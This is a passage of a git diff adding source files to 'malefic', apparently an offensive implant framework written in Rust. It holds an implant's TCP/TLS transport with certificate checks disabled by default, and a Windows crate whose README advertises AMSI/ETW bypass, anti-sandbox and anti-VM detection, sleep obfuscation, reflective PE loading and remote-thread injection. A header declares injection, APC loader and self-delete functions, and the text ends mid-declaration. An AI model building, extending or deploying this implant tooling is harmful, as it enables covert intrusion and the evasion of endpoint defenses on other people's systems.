TCPTransport::NativeTls(tls_stream) => Pin::new(tls_stream).poll_read(cx, buf), + } + } +} + +impl AsyncWrite for TCPTransport { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + match &mut *self { + TCPTransport::Plain(stream) => Pin::new(stream).poll_write(cx, buf), + #[cfg(feature = "tls_rustls")] + TCPTransport::RustlsTls(tls_stream) => Pin::new(tls_stream).poll_write(cx, buf), + #[cfg(feature = "tls_native")] + TCPTransport::NativeTls(tls_stream) => Pin::new(tls_stream).poll_write(cx, buf), + } + } + + fn poll_flush( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + ) -> Poll> { + match &mut *self { + TCPTransport::Plain(stream) => Pin::new(stream).poll_flush(cx), + #[cfg(feature = "tls_rustls")] + TCPTransport::RustlsTls(tls_stream) => Pin::new(tls_stream).poll_flush(cx), + #[cfg(feature = "tls_native")] + TCPTransport::NativeTls(tls_stream) => Pin::new(tls_stream).poll_flush(cx), + } + } + + fn poll_close( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + ) -> Poll> { + match &mut *self { + TCPTransport::Plain(stream) => Pin::new(stream).poll_close(cx), + #[cfg(feature = "tls_rustls")] + TCPTransport::RustlsTls(tls_stream) => Pin::new(tls_stream).poll_close(cx), + #[cfg(feature = "tls_native")] + TCPTransport::NativeTls(tls_stream) => Pin::new(tls_stream).poll_close(cx), + } + } +} + +#[derive(Clone)] +pub struct TCPClient; + +impl TCPClient { + pub fn new() -> Result { + Ok(TCPClient) + } + + pub fn new_with_alias(_alias: Option<&str>) -> Result { + Self::new() + } +} + +#[async_trait] +impl DialerExt for TCPClient { + async fn connect( + &mut self, + target: &crate::server_manager::Target, + ) -> Result> { + let config = target.server_config(); + let tcp_stream = new_steam(config).await?; + TCPTransport::new(tcp_stream, config.clone()).await + } +} + +pub async fn new_steam(config: &malefic_config::ServerConfig) -> Result { + #[cfg(feature = "proxy")] + { + if !PROXY_URL.is_empty() { + debug!("[tcp] Using configured proxy URL: {}", *PROXY_URL); + if let Some(stream) = try_proxy_url(&PROXY_URL, &config.address).await { + return Ok(stream); + } + debug!("[tcp] Configured proxy failed, falling back"); + } + + if *USE_ENV_PROXY && PROXY_URL.is_empty() { + debug!("[tcp] Checking environment variables for proxy"); + if let Some(stream) = try_env_proxy(&config.address).await { + return Ok(stream); + } + debug!("[tcp] Environment proxy not found or failed, falling back"); + } + + if !PROXY_HOST.is_empty() && *PROXY_PORT != "0" { + debug!("[tcp] Using compile-time proxy configuration"); + if let Some(stream) = try_compile_time_proxy(&config.address).await { + return Ok(stream); + } + debug!("[tcp] Compile-time proxy failed, falling back to direct connection"); + } + } + + debug!("[tcp] Connecting directly to {}", config.address); + TcpStream::connect(config.address.as_str()) + .await + .map_err(|e| anyhow::anyhow!("TCP connect error: {}", e)) +} + +#[cfg(feature = "proxy")] +async fn try_proxy_url(proxy_url: &str, target: &str) -> Option { + if let Ok(url) = Url::parse(proxy_url) { + let host = url.host_str()?.to_string(); + let port = url.port().unwrap_or_else(|| match url.scheme() { + "http" | "https" => 8080, + "socks5" | "socks" => 1080, + _ => 8080, + }); + let auth = if !url.username().is_empty() { + Auth::new(url.username(), url.password().unwrap_or("")) + } else { + None + }; + match url.scheme() { + "http" | "https" => { + let proxy = HTTPProxy::new(&host, port, auth); + proxy.connect(target).await.ok().map(|s| s.into_tcpstream()) + } + "socks5" | "socks" => { + let proxy = SOCKS5Proxy::new(&host, port, auth); + proxy.connect(target).await.ok().map(|s| s.into_tcpstream()) + } + _ => { + debug!("[tcp] Unsupported proxy scheme: {}", url.scheme()); + None + } + } + } else { + debug!("[tcp] Invalid proxy URL: {}", proxy_url); + None + } +} + +#[cfg(feature = "proxy")] +async fn try_env_proxy(target: &str) -> Option { + if should_skip_proxy(target) { + return None; + } + let proxy_vars = ["HTTPS_PROXY", "HTTP_PROXY", "SOCKS_PROXY"]; + for var_name in &proxy_vars { + if let Ok(proxy_url_str) = env::var(var_name) { + debug!( + "[tcp] Found {} environment variable: {}", + var_name, proxy_url_str + ); + if let Some(stream) = try_proxy_url(&proxy_url_str, target).await { + return Some(stream); + } + } + } + None +} + +#[cfg(feature = "proxy")] +async fn try_compile_time_proxy(target: &str) -> Option { + if let Ok(port) = PROXY_PORT.parse::() { + let auth = if !PROXY_USERNAME.is_empty() { + Auth::new(&PROXY_USERNAME, &PROXY_PASSWORD) + } else { + None + }; + let proxy = HTTPProxy::new(&PROXY_HOST, port, auth); + proxy.connect(target).await.ok().map(|s| s.into_tcpstream()) + } else { + None + } +} + +#[cfg(feature = "proxy")] +fn should_skip_proxy(target: &str) -> bool { + if let Ok(no_proxy) = env::var("NO_PROXY") { + let target_host = if let Some(colon_pos) = target.rfind(':') { + &target[..colon_pos] + } else { + target + } + .to_lowercase(); + for no_proxy_item in no_proxy.split(',') { + let item = no_proxy_item.trim().to_lowercase(); + if item.is_empty() { + continue; + } + if target_host == item { + return true; + } + if item.starts_with('.') && target_host.ends_with(&item) { + return true; + } + if item == "localhost" && (target_host == "localhost" || target_host == "127.0.0.1") { + return true; + } + } + } + false +} + +#[cfg(feature = "bind")] +use crate::ListenerExt; +#[cfg(feature = "bind")] +use async_net::TcpListener; + +#[cfg(feature = "bind")] +pub struct TCPListenerExt { + listener: TcpListener, +} + +#[cfg(feature = "bind")] +#[async_trait] +impl ListenerExt for TCPListenerExt { + async fn bind(addr: &str) -> Result { + let listener = TcpListener::bind(addr).await?; + Ok(TCPListenerExt { listener }) + } + + async fn accept(&mut self) -> Result { + let (stream, _addr) = self.listener.accept().await?; + Ok(TCPTransport::new_plain(stream)) + } +} diff --git a/malefic-crates/transport/src/tcp/native_tls.rs b/malefic-crates/transport/src/tcp/native_tls.rs new file mode 100644 index 0000000..df41604 --- /dev/null +++ b/malefic-crates/transport/src/tcp/native_tls.rs @@ -0,0 +1,67 @@ +use anyhow::Result; +use async_native_tls::TlsConnector; +use malefic_common::debug; +use malefic_config::ServerConfig; +use malefic_gateway::ObfDebug; + +#[derive(ObfDebug, Clone)] +pub struct NativeTlsConfig { + pub server_name: String, + pub skip_verification: bool, +} + +impl Default for NativeTlsConfig { + fn default() -> Self { + Self { + server_name: String::new(), + skip_verification: true, + } + } +} + +impl NativeTlsConfig { + pub fn new() -> Self { + Self::default() + } + + pub fn with_server_name>(mut self, name: S) -> Self { + self.server_name = name.into(); + self + } +} + +pub struct NativeTlsConnectorBuilder { + config: NativeTlsConfig, +} + +impl NativeTlsConnectorBuilder { + pub fn new(config: NativeTlsConfig) -> Self { + Self { config } + } + + pub fn build(self) -> Result { + debug!( + "[native-tls] Building native TLS connector with config: {:#?}", + self.config + ); + + let mut builder = async_native_tls::TlsConnector::new(); + if self.config.skip_verification { + builder = builder.danger_accept_invalid_certs(true); + builder = builder.danger_accept_invalid_hostnames(true); + } + + Ok(builder) + } +} + +pub fn build_native_tls_config(config: ServerConfig) -> NativeTlsConfig { + debug!("address: {}", config.address); + let tls_config = config.tls_config.as_ref().unwrap(); + + let mut ntls_config = NativeTlsConfig::new(); + ntls_config = ntls_config.with_server_name(tls_config.sni.clone()); + ntls_config.skip_verification = true; + + ntls_config +} diff --git a/malefic-crates/transport/src/tcp/tls.rs b/malefic-crates/transport/src/tcp/tls.rs new file mode 100644 index 0000000..97152b1 --- /dev/null +++ b/malefic-crates/transport/src/tcp/tls.rs @@ -0,0 +1,337 @@ +use anyhow::Result; +use futures_rustls::TlsConnector; +use malefic_common::debug; +use malefic_config::ServerConfig; +use malefic_gateway::ObfDebug; +use rustls::crypto::ring::cipher_suite; +use rustls::pki_types::{CertificateDer, PrivateKeyDer, ServerName}; +use rustls::version::{TLS12, TLS13}; +use rustls::{ClientConfig, RootCertStore}; +use std::sync::Arc; + +#[derive(ObfDebug, Clone)] +pub struct TlsConfig { + #[obf(skip)] + pub versions: Vec<&'static rustls::SupportedProtocolVersion>, + pub server_name: String, + #[obf(skip)] + pub cipher_suites: Option>, + pub skip_verification: bool, + #[obf(skip)] + pub client_cert_data: Option<(Vec, Vec)>, + #[obf(skip)] + pub custom_ca: Option>, +} + +impl Default for TlsConfig { + fn default() -> Self { + Self { + versions: vec![&TLS13, &TLS12], + client_cert_data: None, + server_name: String::new(), + cipher_suites: None, + custom_ca: None, + skip_verification: true, + } + } +} + +impl TlsConfig { + pub fn new() -> Self { + Self::default() + } + + pub fn with_versions( + mut self, + versions: Vec<&'static rustls::SupportedProtocolVersion>, + ) -> Self { + self.versions = versions; + self + } + + pub fn tls12_only(mut self) -> Self { + self.versions = vec![&TLS12]; + self + } + pub fn tls13_only(mut self) -> Self { + self.versions = vec![&TLS13]; + self + } + + pub fn with_custom_ca(mut self, ca_cert: Vec) -> Self { + self.custom_ca = Some(ca_cert); + self + } + + pub fn with_client_cert_data(mut self, cert_chain: Vec, private_key: Vec) -> Self { + self.client_cert_data = Some((cert_chain, private_key)); + self + } + + pub fn with_server_name>(mut self, name: S) -> Self { + self.server_name = name.into(); + self + } + + pub fn with_cipher_suites(mut self, suites: Vec) -> Self { + self.cipher_suites = Some(suites); + self + } + + pub fn self_signed(self) -> Self { + Self { + versions: vec![&TLS12, &TLS13], + client_cert_data: None, + server_name: String::new(), + cipher_suites: Some(vec![ + cipher_suite::TLS13_AES_128_GCM_SHA256, + cipher_suite::TLS13_AES_256_GCM_SHA384, + cipher_suite::TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, + cipher_suite::TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, + ]), + custom_ca: None, + skip_verification: true, + } + } + + pub fn standard() -> Self { + Self::default() + } +} + +pub struct TlsConnectorBuilder { + config: TlsConfig, +} + +impl TlsConnectorBuilder { + pub fn new(config: TlsConfig) -> Self { + Self { config } + } + + pub fn build(self) -> Result { + debug!( + "[tls] Building TLS connector with config: {:#?}", + self.config + ); + + let mut root_store = RootCertStore::empty(); + root_store.extend(webpki_roots::TLS_SERVER_ROOTS.iter().cloned()); + + if let Some(ca_cert_data) = &self.config.custom_ca { + let mut reader = ca_cert_data.as_slice(); + for cert in rustls_pemfile::certs(&mut reader) { + match cert { + Ok(c) => { + if let Err(_e) = root_store.add(c) { + debug!("[tls] Failed to add custom CA: {:?}, but continuing", _e); + } else { + debug!("[tls] Custom CA added successfully"); + } + } + Err(_e) => { + debug!("[tls] Failed to parse custom CA cert: {:?}", _e); + } + } + } + } + + let versions = self.config.versions.clone(); + let cipher_suites = match &self.config.cipher_suites { + Some(suites) => suites.clone(), + None => { + let mut suites = Vec::new(); + if versions.contains(&&TLS13) { + suites.extend(vec![ + cipher_suite::TLS13_AES_128_GCM_SHA256, + cipher_suite::TLS13_AES_256_GCM_SHA384, + cipher_suite::TLS13_CHACHA20_POLY1305_SHA256, + ]); + } + if versions.contains(&&TLS12) { + suites.extend(vec![ + cipher_suite::TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, + cipher_suite::TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, + cipher_suite::TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, + cipher_suite::TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, + ]); + } + suites + } + }; + + let provider = rustls::crypto::CryptoProvider { + cipher_suites, + kx_groups: rustls::crypto::ring::default_provider().kx_groups, + ..rustls::crypto::ring::default_provider() + }; + + let builder = ClientConfig::builder_with_provider(Arc::new(provider)) + .with_protocol_versions(&versions)?; + + let client_config = if self.config.skip_verification { + let builder = builder + .dangerous() + .with_custom_certificate_verifier(Arc::new(NoCertificateVerification)); + match &self.config.client_cert_data { + Some((cert_chain_data, private_key_data)) => { + debug!("[tls] Setting up client certificate for mTLS"); + let (certs, key) = parse_client_cert(cert_chain_data, private_key_data)?; + builder + .with_client_cert_resolver(Arc::new(StaticCertResolver::new(certs, key)?)) + } + None => builder.with_no_client_auth(), + } + } else { + let builder = builder.with_root_certificates(root_store); + match &self.config.client_cert_data { + Some((cert_chain_data, private_key_data)) => { + debug!("[tls] Setting up client certificate for mTLS"); + let (certs, key) = parse_client_cert(cert_chain_data, private_key_data)?; + builder + .with_client_cert_resolver(Arc::new(StaticCertResolver::new(certs, key)?)) + } + None => builder.with_no_client_auth(), + } + }; + + Ok(TlsConnector::from(Arc::new(client_config))) + } +} + +fn parse_client_cert( + cert_chain_data: &[u8], + private_key_data: &[u8], +) -> Result<(Vec>, PrivateKeyDer<'static>)> { + let certs: Vec> = rustls_pemfile::certs(&mut &*cert_chain_data) + .collect::, _>>()?; + + let key = rustls_pemfile::private_key(&mut &*private_key_data)? + .ok_or_else(|| anyhow::anyhow!("No valid private key found"))?; + + Ok((certs, key)) +} + +/// A simple resolver that always returns the same client cert + key. +#[derive(Debug)] +struct StaticCertResolver { + certified_key: Arc, +} + +impl StaticCertResolver { + fn new(certs: Vec>, key: PrivateKeyDer<'static>) -> Result { + let signing_key = rustls::crypto::ring::sign::any_supported_type(&key) + .map_err(|e| anyhow::anyhow!("Unsupported private key type: {}", e))?; + Ok(Self { + certified_key: Arc::new(rustls::sign::CertifiedKey::new(certs, signing_key)), + }) + } +} + +impl rustls::client::ResolvesClientCert for StaticCertResolver { + fn resolve( + &self, + _acceptable_issuers: &[&[u8]], + _sigschemes: &[rustls::SignatureScheme], + ) -> Option> { + Some(self.certified_key.clone()) + } + + fn has_certs(&self) -> bool { + true + } +} + +#[derive(Debug)] +struct NoCertificateVerification; + +impl rustls::client::danger::ServerCertVerifier for NoCertificateVerification { + fn verify_server_cert( + &self, + _end_entity: &CertificateDer<'_>, + _intermediates: &[CertificateDer<'_>], + _server_name: &ServerName<'_>, + _ocsp_response: &[u8], + _now: rustls::pki_types::UnixTime, + ) -> std::result::Result { + Ok(rustls::client::danger::ServerCertVerified::assertion()) + } + + fn verify_tls12_signature( + &self, + _message: &[u8], + _cert: &CertificateDer<'_>, + _dss: &rustls::DigitallySignedStruct, + ) -> std::result::Result { + Ok(rustls::client::danger::HandshakeSignatureValid::assertion()) + } + + fn verify_tls13_signature( + &self, + _message: &[u8], + _cert: &CertificateDer<'_>, + _dss: &rustls::DigitallySignedStruct, + ) -> std::result::Result { + Ok(rustls::client::danger::HandshakeSignatureValid::assertion()) + } + + fn supported_verify_schemes(&self) -> Vec { + vec![ + rustls::SignatureScheme::RSA_PKCS1_SHA256, + rustls::SignatureScheme::RSA_PKCS1_SHA384, + rustls::SignatureScheme::RSA_PKCS1_SHA512, + rustls::SignatureScheme::ECDSA_NISTP256_SHA256, + rustls::SignatureScheme::ECDSA_NISTP384_SHA384, + rustls::SignatureScheme::ECDSA_NISTP521_SHA512, + rustls::SignatureScheme::RSA_PSS_SHA256, + rustls::SignatureScheme::RSA_PSS_SHA384, + rustls::SignatureScheme::RSA_PSS_SHA512, + rustls::SignatureScheme::ED25519, + rustls::SignatureScheme::ED448, + ] + } +} + +pub fn build_tls_config(config: ServerConfig) -> TlsConfig { + debug!("address: {}", config.address); + let tls_config = config.tls_config.as_ref().unwrap(); + + let mut config = match tls_config.version.as_str() { + "1.2" => TlsConfig::new().tls12_only(), + "1.3" => TlsConfig::new().tls13_only(), + _ => TlsConfig::new(), + }; + + config = config.with_server_name(tls_config.sni.clone()); + + // Implant uses skip_verification = true by default (self-signed certs). + // Encryption is always active; certificate chain verification is optional. + config.skip_verification = true; + + // Load server CA if provided (enables optional certificate verification + // when skip_verification is explicitly set to false in config) + if !tls_config.server_ca.is_empty() { + config = config.with_custom_ca(tls_config.server_ca.clone()); + config.skip_verification = tls_config.skip_verification; + } else if let Some(ref mtls) = tls_config.mtls_config { + if mtls.enable && !mtls.server_ca.is_empty() { + config = config.with_custom_ca(mtls.server_ca.clone()); + config.skip_verification = tls_config.skip_verification; + } + } + + // Load mTLS client certificate (for encrypted channel authentication) + if let Some(mtls_config) = &tls_config.mtls_config { + if mtls_config.enable + && !mtls_config.client_cert.is_empty() + && !mtls_config.client_key.is_empty() + { + debug!("[tls] Loading mTLS client certificate"); + config = config.with_client_cert_data( + mtls_config.client_cert.clone(), + mtls_config.client_key.clone(), + ); + } + } + + config +} diff --git a/malefic-crates/win/Cargo.toml b/malefic-crates/win/Cargo.toml new file mode 100644 index 0000000..006aac1 --- /dev/null +++ b/malefic-crates/win/Cargo.toml @@ -0,0 +1,69 @@ +[package] +name = "malefic-os-win" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +source = [] +prebuild = [] +regenerate_binding = ["prebuild"] +community = [] +detour = ["dep:detour"] +bypass = ["detour"] +token = ["pipe"] +reg = [] +pipe = [] +scheduler = [] +service = [] +clr = [] +sleep_obf = [] +wmi = ["dep:thiserror", "dep:windows-core"] + +[dependencies] +anyhow = { workspace = true } +malefic-gateway = { workspace = true } +strum = { workspace = true } +strum_macros = { workspace = true } +malefic-common = { workspace = true } +malefic-process = { workspace = true } +thiserror = { workspace = true, optional = true } +windows-core = { workspace = true, optional = true } +windows = { workspace = true, features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_Security_Authentication_Identity", + "Win32_System_Threading", + "Win32_System_Memory", + "Win32_System_LibraryLoader", + "Win32_System_Diagnostics_Debug", + "Win32_System_Diagnostics_ToolHelp", + "Win32_System_Pipes", + "Win32_System_Registry", + "Win32_System_Services", + "Win32_System_Com", + "Win32_System_TaskScheduler", + "Win32_Storage_FileSystem", + "Win32_System_IO", + "Win32_System_SystemServices", + "Win32_System_Environment", + "Win32_System_Wmi", + "Win32_System_Ole", + "Win32_System_Variant", + "Win32_System_Rpc", +] } +detour = { git = "https://github.com/chainreactors/retour-rs", branch = "fix-nightly1.67.0-changes", optional = true } + +[dev-dependencies] +tokio = { workspace = true, features = ["rt", "rt-multi-thread", "macros", "time", "sync"] } +windows = { workspace = true, features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_System_Wmi", +] } + +[build-dependencies] +bindgen = { workspace = true } +syn = { workspace = true, features = ["parsing"] } +quote = { workspace = true } diff --git a/malefic-crates/win/README.md b/malefic-crates/win/README.md new file mode 100644 index 0000000..172cec3 --- /dev/null +++ b/malefic-crates/win/README.md @@ -0,0 +1,82 @@ +# malefic-os-win + +Windows å¹³å°ä¸“用工具集,å°è£…了 Windows API 调用,æä¾›ä»¤ç‰Œæ“ä½œã€æ³¨å†Œè¡¨ç®¡ç†ã€ç®¡é“é€šä¿¡ã€æœåŠ¡æŽ§åˆ¶ã€è®¡åˆ’任务ã€WMI 查询ã€å沙箱/å虚拟机检测ã€Sleep 混淆等功能。 + +## 功能简介 + +- **Token æ“作** -- 获å–/å¤åˆ¶è¿›ç¨‹ä»¤ç‰Œã€ææƒåˆ¤æ–­ã€æƒé™å¯ç”¨ã€ä»¤ç‰Œæ¨¡æ‹Ÿã€`RunAs` 执行 +- **注册表管ç†** -- æ”¯æŒæ‰€æœ‰æ ¹é”®ï¼ˆHKLM/HKCU/...),æä¾›é”®å€¼çš„增删改查ã€å­é”®æžšä¸¾ +- **管é“通信** -- 命å管é“(æœåŠ¡ç«¯/客户端)与匿å管é“,用于进程间数æ®ä¼ è¾“ +- **æœåŠ¡ç®¡ç†** -- 创建ã€å¯åЍã€åœæ­¢ã€åˆ é™¤ã€æŸ¥è¯¢ Windows æœåŠ¡åŠæ‰¹é‡æžšä¸¾ +- **计划任务** -- 通过 COM æŽ¥å£æ“作 Task Scheduler,支æŒåˆ›å»ºã€è¿è¡Œã€åœæ­¢ã€åˆ é™¤ã€æŸ¥è¯¢ä»»åŠ¡ +- **WMI 查询** -- 连接 WMI æœåŠ¡ï¼Œæ‰§è¡Œ WQL æŸ¥è¯¢ï¼Œæ”¯æŒæ–¹æ³•è°ƒç”¨ä¸Žç»“æžœè§£æž +- **åæ²™ç®±æ£€æµ‹** -- æ£€æŸ¥è¿›ç¨‹åˆ—è¡¨ã€æ³¨å†Œè¡¨ç‰¹å¾ç­‰æŒ‡æ ‡åˆ¤æ–­æ˜¯å¦è¿è¡Œåœ¨æ²™ç®±çŽ¯å¢ƒä¸­ +- **å虚拟机检测** -- 基于 CPUID 指令识别 VirtualBox/VMware/Hyper-V/QEMU/Xen 等虚拟化框架 +- **Sleep æ··æ·†** -- åœ¨ä¼‘çœ æœŸé—´åŠ å¯†å†…å­˜åŒºåŸŸï¼Œæ”¯æŒ Timer/Wait/Foliage 三ç§ç­–ç•¥ +- **函数 Hook** -- 基于 `detour` 库实现è¿è¡Œæ—¶ API Inline Hook +- **PE 加载** -- åå°„å¼ PE 加载ã€InlinePEã€RunPE åŠç‰ºç‰²è¿›ç¨‹æ‰§è¡Œ +- **BOF 加载** -- 加载并执行 Beacon Object File +- **远程注入** -- 通过 CreateRemoteThread å‘ç›®æ ‡è¿›ç¨‹æ³¨å…¥ä»£ç  +- **Bypass** -- AMSI/ETW 等安全机制绕过(需å¯ç”¨ `bypass` feature) + +## Features + +| Feature | 说明 | +|----------------|------| +| `source` | 使用æºç ç¼–译 `malefic-win-kit`(默认使用预编译库) | +| `prebuild` | 使用预编译的 `malefic-win-kit` 陿€åº“ | +| `community` | 社区版功能集 | +| `professional` | 专业版功能集 | +| `detour` | å¯ç”¨å‡½æ•° Hook(Inline Hookï¼‰æ”¯æŒ | +| `bypass` | å¯ç”¨ AMSI/ETW 绕过,éšå«å¯ç”¨ `detour` | +| `token` | å¯ç”¨ä»¤ç‰Œæ“ä½œæ¨¡å— | +| `reg` | å¯ç”¨æ³¨å†Œè¡¨æ“ä½œæ¨¡å— | +| `pipe` | å¯ç”¨ç®¡é“é€šä¿¡æ¨¡å— | +| `scheduler` | å¯ç”¨è®¡åˆ’ä»»åŠ¡ç®¡ç†æ¨¡å— | +| `service` | å¯ç”¨æœåŠ¡ç®¡ç†æ¨¡å— | +| `anti_sandbox` | å¯ç”¨å沙箱检测 | +| `anti_vm` | å¯ç”¨å虚拟机检测 | +| `clr` | å¯ç”¨ CLR(.NET è¿è¡Œæ—¶ï¼‰åŠ è½½ | +| `sleep_obf` | å¯ç”¨ Sleep 混淆(休眠期间内存加密) | +| `wmi` | å¯ç”¨ WMI 查询与方法调用 | + +## 基本用法 + +### 令牌æ“作 + +```rust +use malefic_os_win::token; + +// 判断当å‰è¿›ç¨‹æ˜¯å¦å…·æœ‰ç®¡ç†å‘˜æƒé™ +let elevated = token::is_privilege()?; + +// å¯ç”¨æŒ‡å®šæƒé™ +token::enable_privilege("SeDebugPrivilege")?; + +// 模拟指定进程的令牌 +let handle = token::impersonate_process(pid)?; +``` + +### 注册表读写 + +```rust +use malefic_os_win::reg::{RegistryHive, RegistryKey, RegistryValue}; + +let key = RegistryKey::open(RegistryHive::LocalMachine, r"SOFTWARE\MyApp")?; +let val = key.query_value("Version")?; +key.set_value("NewKey", RegistryValue::String("hello".into()))?; +``` + +### Sleep æ··æ·† + +```rust +use malefic_os_win::sleep::{obf_sleep, Obfuscation, ObfMode}; + +// 休眠 5 秒,期间使用 Timer 策略加密指定内存区域 +obf_sleep(base_ptr, region_size, 5, Obfuscation::Timer, ObfMode::Heap); +``` + +## å‚考链接 + +- [windows-rs](https://github.com/microsoft/windows-rs) -- Rust 官方 Windows API 绑定 +- [retour-rs](https://github.com/chainreactors/retour-rs) -- Inline Hook 库(detour fork) diff --git a/malefic-crates/win/build.rs b/malefic-crates/win/build.rs new file mode 100644 index 0000000..6b17488 --- /dev/null +++ b/malefic-crates/win/build.rs @@ -0,0 +1,193 @@ +#![allow(unused_imports)] +use std::{env, fs, path::PathBuf}; + +fn main() { + #[cfg(feature = "regenerate_binding")] + { + let bindings = bindgen::Builder::default() + .header("malefic_win_kit.h") + .clang_arg("-Wno-unused-function") + .generate() + .expect("Unable to generate bindings"); + + bindings + .write_to_file("src/kit/binding/binding.rs") + .expect("Couldn't write bindings!"); + } + + // Always: parse binding.rs (committed) with syn → ffi_dispatch.rs + generate_ffi_dispatch(); + + #[cfg(feature = "prebuild")] + link_prebuilt_lib(); +} + +/// Parse src/kit/binding/binding.rs with syn, emit ffi_dispatcher! calls +fn generate_ffi_dispatch() { + let binding_path = "src/kit/binding/binding.rs"; + println!("cargo:rerun-if-changed={binding_path}"); + + let src = fs::read_to_string(binding_path) + .expect("cannot read binding.rs — run with prebuild first to generate it"); + let file = syn::parse_file(&src).expect("syn failed to parse binding.rs"); + + let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); + let mut out = String::from("// Auto-generated from binding.rs by build.rs — do not edit\n\n"); + + for item in &file.items { + if let syn::Item::ForeignMod(fm) = item { + for fi in &fm.items { + if let syn::ForeignItem::Fn(f) = fi { + let name = f.sig.ident.to_string(); + // Skip compiler intrinsics / system functions + if name.starts_with('_') { + continue; + } + emit_fn_from_sig(&f.sig, &mut out); + } + } + } + } + + fs::write(out_dir.join("ffi_dispatch.rs"), &out).expect("write ffi_dispatch.rs"); +} + +fn emit_fn_from_sig(sig: &syn::Signature, out: &mut String) { + let name = &sig.ident; + + // Collect params + let params: Vec = sig + .inputs + .iter() + .map(|arg| { + if let syn::FnArg::Typed(pat_type) = arg { + let pname = pat_type.pat.to_token_string(); + let pty = normalize_type(&pat_type.ty); + format!("{pname}: {pty}") + } else { + String::new() + } + }) + .filter(|s| !s.is_empty()) + .collect(); + let params_str = params.join(", "); + + // Return type + let ret = match &sig.output { + syn::ReturnType::Default => None, + syn::ReturnType::Type(_, ty) => Some(normalize_type(ty)), + }; + + // Check if return type is RawString (macro has special arm) + match &ret { + None => out.push_str(&format!("ffi_dispatcher!(fn {name}({params_str}));\n")), + Some(r) if r == "RawString" => { + out.push_str(&format!( + "ffi_dispatcher!(fn {name}({params_str}) -> RawString);\n" + )); + } + Some(r) => { + out.push_str(&format!( + "ffi_dispatcher!(fn {name}({params_str}) -> {r});\n" + )); + } + } +} + +/// Convert syn::Type to a clean string, normalizing bindgen paths +fn normalize_type(ty: &syn::Type) -> String { + let raw = ty.to_token_string(); + raw.replace(":: std :: os :: raw :: c_void", "core::ffi::c_void") + .replace("::std::os::raw::c_void", "core::ffi::c_void") + .replace(":: std :: os :: raw :: c_char", "core::ffi::c_char") + .replace("::std::os::raw::c_char", "core::ffi::c_char") + .replace(":: std :: os :: raw :: c_ushort", "u16") + .replace("::std::os::raw::c_ushort", "u16") + // Clean up extra spaces from token stream + .replace(" ,", ",") +} + +/// Helper: convert syn token tree to string +trait ToTokenString { + fn to_token_string(&self) -> String; +} + +impl ToTokenString for syn::Type { + fn to_token_string(&self) -> String { + use std::fmt::Write; + let tokens = quote::quote!(#self); + tokens.to_string() + } +} + +impl ToTokenString for syn::Pat { + fn to_token_string(&self) -> String { + let tokens = quote::quote!(#self); + tokens.to_string() + } +} + +#[cfg(feature = "prebuild")] +fn link_prebuilt_lib() { + if env::var("CARGO_CFG_TARGET_OS").unwrap() != "windows" { + return; + } + let (prefix, suffix, destination) = match env::var("CARGO_CFG_TARGET_ENV").unwrap().as_str() { + "msvc" => ( + "malefic-win-kit-community-msvc".to_string(), + ".lib", + "malefic_win_kit.lib", + ), + _ => { + let pulse = if env::var("CARGO_FEATURE_PULSE").is_ok() { + "-pulse" + } else { + "" + }; + ( + format!("libmalefic-win-kit-community{pulse}-gnu"), + ".a", + "libmalefic_win_kit.a", + ) + } + }; + + let arch = if env::var("CARGO_CFG_TARGET_ARCH").unwrap() == "x86" { + "x32" + } else { + "x64" + }; + let manifest_dir = PathBuf::from(env::var("CARGO_MANIFEST_DIR").unwrap()); + let resources = manifest_dir + .parent() + .and_then(|p| p.parent()) + .map(|p| p.join("resources")) + .filter(|p| p.exists()) + .or_else(|| { + manifest_dir + .parent() + .and_then(|p| p.parent()) + .and_then(|p| p.parent()) + .map(|p| p.join("resources")) + .filter(|p| p.exists()) + }) + .expect("resources directory not found near malefic-crates/win"); + let ollvm = if resources.join("ollvm-flags").exists() { + "-ollvm" + } else { + "" + }; + + let lib_name = format!("{prefix}-{arch}{ollvm}{suffix}"); + let source_path = resources.join(&lib_name); + if !source_path.exists() { + panic!("Source file not found: {}", source_path.display()); + } + + let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); + fs::copy(&source_path, out_dir.join(destination)) + .expect(&format!("Failed to copy {}", source_path.display())); + + println!("cargo:rustc-link-search=native={}", out_dir.display()); + println!("cargo:rustc-link-lib=static=malefic_win_kit"); +} diff --git a/malefic-crates/win/malefic_win_kit.h b/malefic-crates/win/malefic_win_kit.h new file mode 100644 index 0000000..b7c6bbd --- /dev/null +++ b/malefic-crates/win/malefic_win_kit.h @@ -0,0 +1,338 @@ +#ifndef MALEFIC_WIN_KIT_H +#define MALEFIC_WIN_KIT_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +// 对应 Rust 中的 RawString +typedef struct RawString { + uint8_t *data; // 指å‘字符串缓冲区 + size_t len; // 实际长度 + size_t capacity; // 容é‡ï¼ˆä¸€èˆ¬ä¸Žå†…部分é…空间有关) +} RawString; + +// 对应 Rust 中 pub struct MaleficPipe +typedef struct MaleficPipe { + const void *read; + const void *write; +} MaleficPipe; + +// 对应 Rust 中 pub struct DarkModule +typedef struct DarkModule { + const void *module_base; +} DarkModule; + +// 函数定义 + +RawString ApcLoaderInline( + const uint8_t *bin, + size_t bin_len, + bool need_output, + uint32_t loader_type +); + +RawString ApcLoaderSacriface( + const uint8_t *bin, + size_t bin_len, + char *sacrifice_commandline, + uint32_t ppid, + bool block_dll, + bool need_output +); + +void DeleteSelf( + const uint8_t * stream, + uint32_t stream_len +); + +RawString InjectRemoteThread( + const uint8_t *bin, + size_t bin_len, + uint32_t pid +); + +const void* MaleficLoadLibrary( + uint32_t flags, + const uint16_t *buffer, + const void *file_buffer, + size_t len, + const uint8_t *name +); + +const void* MaleficGetFuncAddrWithModuleBaseDefault( + const void *module_base, + const uint8_t *func_name, + size_t func_name_len +); + +RawString 